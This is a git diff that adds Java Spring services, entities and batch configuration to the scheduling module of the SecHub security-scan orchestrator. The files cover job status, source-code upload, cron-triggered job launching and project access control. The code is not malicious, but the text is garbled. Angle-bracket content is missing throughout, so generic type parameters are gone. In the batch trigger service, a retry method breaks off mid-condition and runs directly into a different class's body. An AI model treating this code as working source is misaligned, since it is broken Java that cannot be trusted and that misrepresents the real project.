b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerGetJobStatusService.java @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.util.UUID; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserChecksJobStatus; + +@Service +public class SchedulerGetJobStatusService { + + @Autowired + ScheduleAssertService assertService; + + @Validated + @UseCaseUserChecksJobStatus(@Step(number = 2, name = "Try to find project annd fail or return job status")) + public ScheduleJobStatus getJobStatus(String projectId, UUID jobUUID) { + notEmpty(projectId, "Project id may not be empty!"); + notNull(jobUUID, "jobUUID may not be null!"); + + assertService.assertUserHasAccessToProject(projectId); + + ScheduleSecHubJob secHubJob = assertService.assertJob(projectId, jobUUID); + + return new ScheduleJobStatus(secHubJob); + } + + + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerJobBatchTriggerService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerJobBatchTriggerService.java new file mode 100644 index 0000000000..a269ddd89b --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerJobBatchTriggerService.java @@ -0,0 +1,105 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import java.util.concurrent.ThreadLocalRandom; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.dao.OptimisticLockingFailureException; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.sharedkernel.MustBeDocumented; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.cluster.ClusterEnvironmentService; +import com.daimler.sechub.sharedkernel.usecases.job.UseCaseSchedulerStartsJob; + +@Service +public class SchedulerJobBatchTriggerService { + + private static final Logger LOG = LoggerFactory.getLogger(SchedulerJobBatchTriggerService.class); + + private static final int MINIMUM_RETRY_TIME_MS_TO_WAIT = 10; + private static final int DEFAULT_TRIES = 5; + private static final int DEFAULT_RETRIY_MAX_MILLIS = 300; + + @MustBeDocumented("Inside a cluster the next job fetching can lead to concurrent access. " + + "When this happens a retry can be done for the 'looser'. " + "This value defines the amount of *tries*" + + "If you do not want any retries set the value to a value lower than 2. 2 Means after one execution failed there is one retry. " + + "Values lower than 2 will lead to one try of execution only.") + @Value("${sechub.config.trigger.nextjob.retries:" + DEFAULT_TRIES + "}") + private int markNextJobRetries = DEFAULT_TRIES; + + @MustBeDocumented("When retry mechanism is enabled by `sechub.config.trigger.nextjob.retries`, and a retry is necessary, " + + "this value is used to define the maximum time period in millis which will be waited before retry. " + + "Why max value? Because cluster instances seems to be created often on exact same time by kubernetes. " + + "So having here a max value will result in a randomized wait time so cluster members will do " + + "fetch operations time shifted and automatically reduce collisions!") + @Value("${sechub.config.trigger.nextjob.maxwaitretry:" + DEFAULT_RETRIY_MAX_MILLIS + "}") + private int markNextJobWaitBeforeRetryMillis = DEFAULT_RETRIY_MAX_MILLIS; + + @Autowired + ScheduleJobMarkerService markerService; + + @Autowired + ScheduleJobLauncherService launcherService; + + @Autowired + ClusterEnvironmentService environmentService; + + // default 10 seconds + @MustBeDocumented("Job scheduling is triggered by a cron job operation - default is 10 seconds. It can be configured different") + @Scheduled(cron = "${sechub.config.trigger.nextjob.cron:*/10 * * * * *}") + @UseCaseSchedulerStartsJob(@Step(number = 1, name = "Scheduling", description = "Fetches next schedule job from queue and trigger execution.")) + public void triggerExecutionOfNextJob() { + + if (LOG.isTraceEnabled()) { + /* NOSONAR */LOG.trace("Trigger execution of next job started. Environment: {}",environmentService.getEnvironment()); + } + RetryContext retryContext = new RetryContext(markNextJobRetries); + do { + try { + ScheduleSecHubJob next = markerService.markNextJobExecutedByThisPOD(); + retryContext.executionDone(); + if (next == null) { + return; + } + try { + launcherService.executeJob(next); + }catch(Exception e) { + /* fatal failure happened, job launch was not executable */ + LOG.trace("was not able to execute next job, because fatal error occurred. Environment: {}",environmentService.getEnvironment()); + markerService.markJobExecutionFailed(next); + retryContext.markAsFatalFailure(); + } + + } catch (OptimisticLockingFailureException e) { + LOG.trace("was not able to trigger next, because already done. Environment: {}",environmentService.getEnvironment()); + + retryContext.setRetryTimeToWait(createRandomTimeMillisToWait()).executionFailed(); + } catch (Exception e) { + LOG.trace("was not able to trigger next job, because fatal error occurred. Environment: {}",environmentService.getEnvironment()); + + retryContext.markAsFatalFailure(); + } + } while (retryContext.isRetryPossible()); + + if (! retryContext.isExecutionDone()) { + LOG.warn("Was not able to handle trigger execution of next job, failed {} times. Environment:{}", retryContext.getExecutionFailedCount(), environmentService.getEnvironment()); + } + } + + private int createRandomTimeMillisToWait() { + /* fallback on wrong setup */ + if (markNextJobWaitBeforeRetryMillis { + + public static final String PROPERTY_JOBID="jobId"; + + UUID jobId; + + public SchedulerResult(UUID jobId) { + this.jobId = jobId; + } + + public UUID getJobId() { + return jobId; + } + + @Override + public Class getJSONTargetClass() { + return SchedulerResult.class; + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerUploadService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerUploadService.java new file mode 100644 index 0000000000..b81e146a72 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulerUploadService.java @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.web.multipart.MultipartFile; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; +import com.daimler.sechub.sharedkernel.storage.JobStorage; +import com.daimler.sechub.sharedkernel.storage.StorageService; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserUploadsSourceCode; +import com.daimler.sechub.sharedkernel.util.FileChecksumSHA256Service; + +@Service +public class SchedulerUploadService { + + static final String SOURCECODE_ZIP = "sourcecode.zip"; + + private static final Logger LOG = LoggerFactory.getLogger(SchedulerUploadService.class); + + @Autowired + StorageService storageService; + + @Autowired + FileChecksumSHA256Service checksumSHA256Service; + + @Autowired + ScheduleAssertService assertService; + + @UseCaseUserUploadsSourceCode(@Step(number = 2, name = "Try to find project annd upload sourcecode as zipfile", description = "When project is found and user has access and job is initializing the sourcecode file will be uploaded")) + public void uploadSourceCode(String projectId, UUID jobUUID, MultipartFile file, String checkSum) { + notEmpty(projectId, "Project id may not be empty!"); + notNull(jobUUID, "jobUUID may not be null!"); + notNull(file, "file may not be null!"); + + assertService.assertUserHasAccessToProject(projectId); + + assertJobFoundAndStillInitializing(projectId, jobUUID); + + JobStorage jobStorage = storageService.getJobStorage(projectId, jobUUID); + jobStorage.store(SOURCECODE_ZIP, file); + + assertValidZipFile(jobStorage); + assertCheckSumCorrect(checkSum, jobStorage); + + LOG.info("uploaded sourcecode for job {}", jobUUID); + } + + private void assertCheckSumCorrect(String checkSum, JobStorage jobStorage) { + if (! checksumSHA256Service.hasCorrectChecksum(checkSum, jobStorage.getAbsolutePath(SOURCECODE_ZIP))) { + LOG.error("uploaded file is has not correct checksum! So something happend on upload!"); + jobStorage.deleteAll(); + throw new NotAcceptableException("Sourcecode checksum check failed"); + } + } + + private void assertValidZipFile(JobStorage jobStorage) { + if (! jobStorage.isValidZipFile(SOURCECODE_ZIP)) { + LOG.error("uploaded file is NOT a valid ZIP file! Doing garbage control!"); + jobStorage.deleteAll(); + throw new NotAcceptableException("Sourcecode is not wrapped inside a valid zip file"); + } + } + + private void assertJobFoundAndStillInitializing(String projectId, UUID jobUUID) { + ScheduleSecHubJob secHubJob = assertService.assertJob(projectId, jobUUID); + ExecutionState state = secHubJob.getExecutionState(); + if (! ExecutionState.INITIALIZING.equals(state)) { + throw new NotAcceptableException("Not in correct state");// upload only possible when in initializing state + } + } + +} \ No newline at end of file diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulingConstants.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulingConstants.java new file mode 100644 index 0000000000..53e1a7c7aa --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/SchedulingConstants.java @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + + +public class SchedulingConstants { + SchedulingConstants() { + } + public static final String BATCHPARAM_SECHUB_UUID = "batch.sechub.uuid"; +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleAccess.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleAccess.java new file mode 100644 index 0000000000..57fe3de091 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleAccess.java @@ -0,0 +1,159 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.access; + +import java.io.Serializable; + +import javax.persistence.Column; +import javax.persistence.Embeddable; +import javax.persistence.EmbeddedId; +import javax.persistence.Entity; +import javax.persistence.Table; +import javax.persistence.Version; + +/** + * This entity represents only the access for users to a project. + * As long as there are is no tupel (user + project) the access is forbidden or + * project does not exist. Even an administrator must be added as user. So access + * is always auditable etc. and we got also no jobs without a correct owner! + * + * @author Albert Tregnaghi + * + */ +@Entity +@Table(name = ScheduleAccess.TABLE_NAME) +public class ScheduleAccess { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "SCHEDULE_ACCESS"; + + public static final String COLUMN_PROJECT_ID = "PROJECT_ID"; + public static final String COLUMN_USER_ID = "USER_ID"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = ScheduleAccess.class.getSimpleName(); + + @EmbeddedId + private ProjectAccessCompositeKey key; + + @Version + @Column(name = "VERSION") + Integer version; + + ScheduleAccess() { + // jpa only + } + + public ScheduleAccess(String userId, String projectId) { + this(new ProjectAccessCompositeKey(userId, projectId)); + } + + public ScheduleAccess(ProjectAccessCompositeKey key) { + if (key==null) { + throw new IllegalArgumentException("key may not be null"); + } + if (key.projectId==null) { + throw new IllegalArgumentException("key.projectId may not be null"); + } + this.key=key; + } + + public ProjectAccessCompositeKey getKey() { + return key; + } + + @Embeddable + public static class ProjectAccessCompositeKey implements Serializable { + + private static final long serialVersionUID = 8753389792382752253L; + + @Column(name = COLUMN_PROJECT_ID, nullable = false) + private String projectId; + + @Column(name = COLUMN_USER_ID, nullable = false) + private String userId; + + ProjectAccessCompositeKey() { + // jpa only + } + public ProjectAccessCompositeKey(String userId, String projectId) { + this.userId = userId; + this.projectId = projectId; + } + + public String getUserId() { + return userId; + } + + public void setUserId(String userId) { + this.userId = userId; + } + + public String getProjectId() { + return projectId; + } + + public void setProjectId(String projectId) { + this.projectId = projectId; + } + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((projectId == null) ? 0 : projectId.hashCode()); + result = prime * result + ((userId == null) ? 0 : userId.hashCode()); + return result; + } + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + ProjectAccessCompositeKey other = (ProjectAccessCompositeKey) obj; + if (projectId == null) { + if (other.projectId != null) + return false; + } else if (!projectId.equals(other.projectId)) + return false; + if (userId == null) { + if (other.userId != null) + return false; + } else if (!userId.equals(other.userId)) + return false; + return true; + } + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((key == null) ? 0 : key.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + ScheduleAccess other = (ScheduleAccess) obj; + if (key == null) { + if (other.key != null) + return false; + } else if (!key.equals(other.key)) { + return false; + } + return true; + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleAccessRepository.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleAccessRepository.java new file mode 100644 index 0000000000..a4b88b68c3 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleAccessRepository.java @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.access; + +import static com.daimler.sechub.domain.schedule.access.ScheduleAccess.*; + +import org.springframework.data.jpa.repository.JpaRepository; +import org.springframework.data.jpa.repository.Modifying; +import org.springframework.data.jpa.repository.Query; + +import com.daimler.sechub.domain.schedule.access.ScheduleAccess.ProjectAccessCompositeKey; + +public interface ScheduleAccessRepository extends JpaRepository { + + @Modifying + @Query(value="DELETE FROM "+TABLE_NAME+" where "+COLUMN_USER_ID+" = ?1",nativeQuery=true) + public void deleteAcessForUserAtAll(String userId); +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleGrantUserAccessToProjectService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleGrantUserAccessToProjectService.java new file mode 100644 index 0000000000..eec26064fb --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleGrantUserAccessToProjectService.java @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.access; + +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorAssignsUserToProject; + +@Service +public class ScheduleGrantUserAccessToProjectService { + + +private static final Logger LOG = LoggerFactory.getLogger(ScheduleGrantUserAccessToProjectService.class); + + @Autowired + ScheduleAccessRepository repository; + + @UseCaseAdministratorAssignsUserToProject(@Step(number=2,name="Update schedule authorization parts")) + public void grantUserAccessToProject(String userId, String projectId) { + ScheduleAccess scheduleAccess = new ScheduleAccess(userId,projectId); + Optional potentialAlreadyFound = repository.findById(scheduleAccess.getKey()); + if (potentialAlreadyFound.isPresent()) { + LOG.debug("User {} has already acces to {} so skipped",userId,projectId); + return; + } + LOG.debug("User {} has now gained acces to {}",userId,projectId); + repository.save(scheduleAccess); + } + + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleRevokeUserAccessAtAllService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleRevokeUserAccessAtAllService.java new file mode 100644 index 0000000000..a2366cdbe4 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleRevokeUserAccessAtAllService.java @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.access; + +import javax.transaction.Transactional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorDeletesUser; + +@Service +public class ScheduleRevokeUserAccessAtAllService { + + private static final Logger LOG = LoggerFactory.getLogger(ScheduleRevokeUserAccessAtAllService.class); + + + @Autowired + ScheduleAccessRepository repository; + + @Transactional + @UseCaseAdministratorDeletesUser(@Step(number=3,name="revoke user from schedule access")) + public void revokeUserAccess(String userId) { + repository.deleteAcessForUserAtAll(userId); + + LOG.info("Revoked access at all for user:{}",userId); + } + + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleRevokeUserAccessFromProjectService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleRevokeUserAccessFromProjectService.java new file mode 100644 index 0000000000..76027f8f38 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleRevokeUserAccessFromProjectService.java @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.access; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.schedule.access.ScheduleAccess.ProjectAccessCompositeKey; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorUnassignsUserFromProject; + +@Service +public class ScheduleRevokeUserAccessFromProjectService { + + private static final Logger LOG = LoggerFactory.getLogger(ScheduleRevokeUserAccessFromProjectService.class); + + + @Autowired + ScheduleAccessRepository repository; + + @UseCaseAdministratorUnassignsUserFromProject(@Step(number=2,name="Update authorization parts")) + public void revokeUserAccessFromProject(String userId, String projectId) { + ProjectAccessCompositeKey id = new ProjectAccessCompositeKey(userId, projectId); + repository.deleteById(id); + + LOG.info("Revoked access to project:{} for user:{}",projectId,userId); + } + + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java new file mode 100644 index 0000000000..59d6aab5f4 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/access/ScheduleUserAccessToProjectValidationService.java @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.access; + +import java.util.Optional; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.domain.schedule.access.ScheduleAccess.ProjectAccessCompositeKey; +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.error.NotFoundException; +import com.daimler.sechub.sharedkernel.logging.SecurityLogService; +import com.daimler.sechub.sharedkernel.logging.SecurityLogType; + +@Service +public class ScheduleUserAccessToProjectValidationService { + + @Autowired + ScheduleAccessRepository accessRepository; + + @Autowired + UserContextService userContextService; + + @Autowired + SecurityLogService securityLogService; + /** + * Assert user logged in has access to project + * @param projectId + */ + public void assertUserHasAccessToProject(String projectId) { + if (userContextService.isSuperAdmin()) { + /* a super admin has always access */ + return; + } + String userId = userContextService.getUserId(); + + ProjectAccessCompositeKey key = new ProjectAccessCompositeKey(userId, projectId); + Optional scheduleAccess = accessRepository.findById(key); + if (!scheduleAccess.isPresent()) { + securityLogService.log(SecurityLogType.POTENTIAL_INTRUSION, "Denied user access in domain 'schedule'. userId={},projectId={}",userId,projectId); + // we say "... or you have no access - just to obfuscate... so it's not clear to + // bad guys they got a target... + throw new NotFoundException("Project " + projectId + " does not exist, or you have no access."); + } + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/AsyncJobLauncher.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/AsyncJobLauncher.java new file mode 100644 index 0000000000..d9e33a2c21 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/AsyncJobLauncher.java @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.batch; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.batch.core.Job; +import org.springframework.batch.core.JobExecution; +import org.springframework.batch.core.JobParameters; +import org.springframework.batch.core.JobParametersInvalidException; +import org.springframework.batch.core.launch.support.SimpleJobLauncher; +import org.springframework.batch.core.repository.JobExecutionAlreadyRunningException; +import org.springframework.batch.core.repository.JobInstanceAlreadyCompleteException; +import org.springframework.batch.core.repository.JobRestartException; +import org.springframework.core.task.SimpleAsyncTaskExecutor; + +/** + * A special job launcher which uses a simple async task executor so job is + * executed asynchronous (in spite of default implementation in + * {@link SimpleJobLauncher} which is synchronous) + * + * @author Albert Tregnaghi + * + */ +public class AsyncJobLauncher extends SimpleJobLauncher { + + private static final Logger LOG = LoggerFactory.getLogger(AsyncJobLauncher.class); + + public AsyncJobLauncher() { + this.setTaskExecutor(new SimpleAsyncTaskExecutor("async-job-launcher")); + } + + @Override + public JobExecution run(Job job, JobParameters jobParameters) throws JobExecutionAlreadyRunningException, + JobRestartException, JobInstanceAlreadyCompleteException, JobParametersInvalidException { + LOG.info("async run of job :{}", job.getName()); + return super.run(job, jobParameters); + } +} \ No newline at end of file diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/BatchConfiguration.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/BatchConfiguration.java new file mode 100644 index 0000000000..2ad097bf8c --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/BatchConfiguration.java @@ -0,0 +1,112 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.batch; + +import org.springframework.batch.core.Job; +import org.springframework.batch.core.JobExecution; +import org.springframework.batch.core.JobExecutionListener; +import org.springframework.batch.core.Step; +import org.springframework.batch.core.configuration.annotation.EnableBatchProcessing; +import org.springframework.batch.core.configuration.annotation.JobBuilderFactory; +import org.springframework.batch.core.configuration.annotation.StepBuilderFactory; +import org.springframework.batch.core.launch.support.RunIdIncrementer; +import org.springframework.batch.core.repository.JobRepository; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; + +@Configuration +@EnableBatchProcessing +// see +// https://docs.spring.io/spring-batch/trunk/reference/html/configureJob.html +public class BatchConfiguration { + + @Autowired + public JobBuilderFactory jobBuilderFactory; + + @Autowired + public StepBuilderFactory stepBuilderFactory; + + @Autowired + public JobRepository jobRepository; + + @Autowired + private DomainMessageService eventBusService; + + @Autowired + private SecHubJobRepository secHubJobRepository; + + @Autowired + private SecHubJobSafeUpdater secHubJobUpdater; + + @Bean + public AsyncJobLauncher createJobLauncher() { + AsyncJobLauncher launcher = new AsyncJobLauncher(); + launcher.setJobRepository(jobRepository); + return launcher; + } + + @Bean + public Job executeScan() { + + BatchJobExecutionScope scope = new BatchJobExecutionScope(); + + /* @formatter:off */ + + return jobBuilderFactory.get("executeScan"). + incrementer(new RunIdIncrementer()). + listener(scope). + repository(jobRepository). + flow(step1Execute(scope)). + end(). + build(); + + /* @formatter:on */ + } + + /* +-----------------------------------------------------------------------+ */ + /* +............................ STEPS ....................................+ */ + /* +-----------------------------------------------------------------------+ */ + @Bean + public Step step1Execute(BatchJobExecutionScope scope) { + /* @formatter:off */ + return stepBuilderFactory.get("step1Execute"). + allowStartIfComplete(true). + tasklet(new ScanExecutionTasklet(scope)). + build(); + /* @formatter:on */ + } + + class BatchJobExecutionScope implements JobExecutionListener { + + private JobExecution jobExecution; + + public JobExecution getJobExecution() { + return jobExecution; + } + + @Override + public void beforeJob(JobExecution jobExecution) { + this.jobExecution = jobExecution; + } + + @Override + public void afterJob(JobExecution jobExecution) { + } + + public DomainMessageService getEventBusService() { + return eventBusService; + } + + public SecHubJobRepository getSecHubJobRepository() { + return secHubJobRepository; + } + + public SecHubJobSafeUpdater getSecHubJobUpdater() { + return secHubJobUpdater; + } + + } +} \ No newline at end of file diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/ScanExecutionTasklet.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/ScanExecutionTasklet.java new file mode 100644 index 0000000000..1ca53d7a28 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/ScanExecutionTasklet.java @@ -0,0 +1,133 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.batch; + +import java.time.LocalDateTime; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.batch.core.JobParameters; +import org.springframework.batch.core.StepContribution; +import org.springframework.batch.core.scope.context.ChunkContext; +import org.springframework.batch.core.step.tasklet.Tasklet; +import org.springframework.batch.repeat.RepeatStatus; + +import com.daimler.sechub.domain.schedule.ExecutionResult; +import com.daimler.sechub.domain.schedule.SchedulingConstants; +import com.daimler.sechub.domain.schedule.batch.BatchConfiguration.BatchJobExecutionScope; +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageSynchronousResult; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.IsSendingSyncMessage; +import com.daimler.sechub.sharedkernel.messaging.JobMessage; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKey; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.usecases.job.UseCaseSchedulerStartsJob; + +class ScanExecutionTasklet implements Tasklet { + + private final BatchJobExecutionScope scope; + + private static final Logger LOG = LoggerFactory.getLogger(ScanExecutionTasklet.class); + + ScanExecutionTasklet(BatchJobExecutionScope batchExecutionScope) { + this.scope = batchExecutionScope; + } + + @Override + @UseCaseSchedulerStartsJob(@Step(number = 3, next = 5, name = "Batch Job", description = "usecases/job/scheduler_starts_job_tasklet.adoc")) + public RepeatStatus execute(StepContribution contribution, ChunkContext chunkContext) throws Exception { + executeSafe(); + return RepeatStatus.FINISHED; + } + + @IsSendingSyncMessage(MessageID.START_SCAN) + private void executeSafe() { + + JobParameters jobParameters = this.scope.getJobExecution().getJobParameters(); + LOG.debug("executing with parameters:{}", jobParameters); + + String secHubJobUUIDAsString = jobParameters.getString(SchedulingConstants.BATCHPARAM_SECHUB_UUID); + UUID secHubJobUUID = UUID.fromString(secHubJobUUIDAsString); + try { + ScheduleSecHubJob sechubJob = scope.getSecHubJobRepository().getOne(secHubJobUUID); + String secHubConfiguration = sechubJob.getJsonConfiguration(); + LOG.info("Executing sechub job: {}", secHubJobUUIDAsString); + + /* we send no a synchronous SCAN event */ + DomainMessage request = new DomainMessage(MessageID.START_SCAN); + request.set(MessageDataKeys.EXECUTED_BY, sechubJob.getOwner()); + request.set(MessageDataKeys.SECHUB_UUID, secHubJobUUID); + request.set(MessageDataKeys.SECHUB_CONFIG, MessageDataKeys.SECHUB_CONFIG.getProvider().get(secHubConfiguration)); + + /* wait for scan event result - synchron */ + DomainMessageSynchronousResult response = scope.getEventBusService().sendSynchron(request); + + /* result fetched, update scheduler data */ + updateSecHubJob(secHubJobUUID, response); + + LOG.info("executing done: {}", secHubJobUUIDAsString); + + /* send domain event */ + sendJobDone(secHubJobUUID); + + } catch (Exception e) { + LOG.error("Error happend at spring batch task execution:" + e.getMessage(), e); + + markSechHubJobFailed(secHubJobUUID); + sendJobFailed(secHubJobUUID); + + } + } + + private void markSechHubJobFailed(UUID secHubJobUUID) { + updateSecHubJob(secHubJobUUID, ExecutionResult.FAILED, null); + + LOG.info("marked sechub as failed:{}",secHubJobUUID); + } + + private void updateSecHubJob(UUID secHubUUID, DomainMessageSynchronousResult response) { + ExecutionResult result; + if (response.hasFailed()) { + result = ExecutionResult.FAILED; + } else { + result = ExecutionResult.OK; + } + String trafficLightString = response.get(MessageDataKeys.REPORT_TRAFFIC_LIGHT); + updateSecHubJob(secHubUUID, result, trafficLightString); + } + + private void updateSecHubJob(UUID secHubUUID, ExecutionResult result, String trafficLightString) { + scope.getSecHubJobUpdater().safeUpdateOfSecHubJob(secHubUUID, result, trafficLightString); + } + + @IsSendingAsyncMessage(MessageID.JOB_DONE) + private void sendJobDone(UUID jobUUID) { + sendJobInfo(MessageDataKeys.JOB_DONE_DATA, jobUUID, MessageID.JOB_DONE); + } + + @IsSendingAsyncMessage(MessageID.JOB_FAILED) + private void sendJobFailed(UUID jobUUID) { + sendJobInfo(MessageDataKeys.JOB_FAILED_DATA, jobUUID, MessageID.JOB_FAILED); + } + + private void sendJobInfo(MessageDataKey key, UUID jobUUID, MessageID id) { + DomainMessage request = new DomainMessage(id); + JobMessage message = createMessage(jobUUID); + + request.set(key, message); + + scope.getEventBusService().sendAsynchron(request); + } + + private JobMessage createMessage(UUID jobUUID) { + JobMessage message = new JobMessage(); + message.setJobUUID(jobUUID); + message.setSince(LocalDateTime.now()); + return message; + } + +} \ No newline at end of file diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/SecHubJobSafeUpdater.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/SecHubJobSafeUpdater.java new file mode 100644 index 0000000000..5a7fac5fa2 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/batch/SecHubJobSafeUpdater.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.batch; + +import java.time.LocalDateTime; +import java.util.Optional; +import java.util.UUID; + +import org.slf4j.Logger; +import 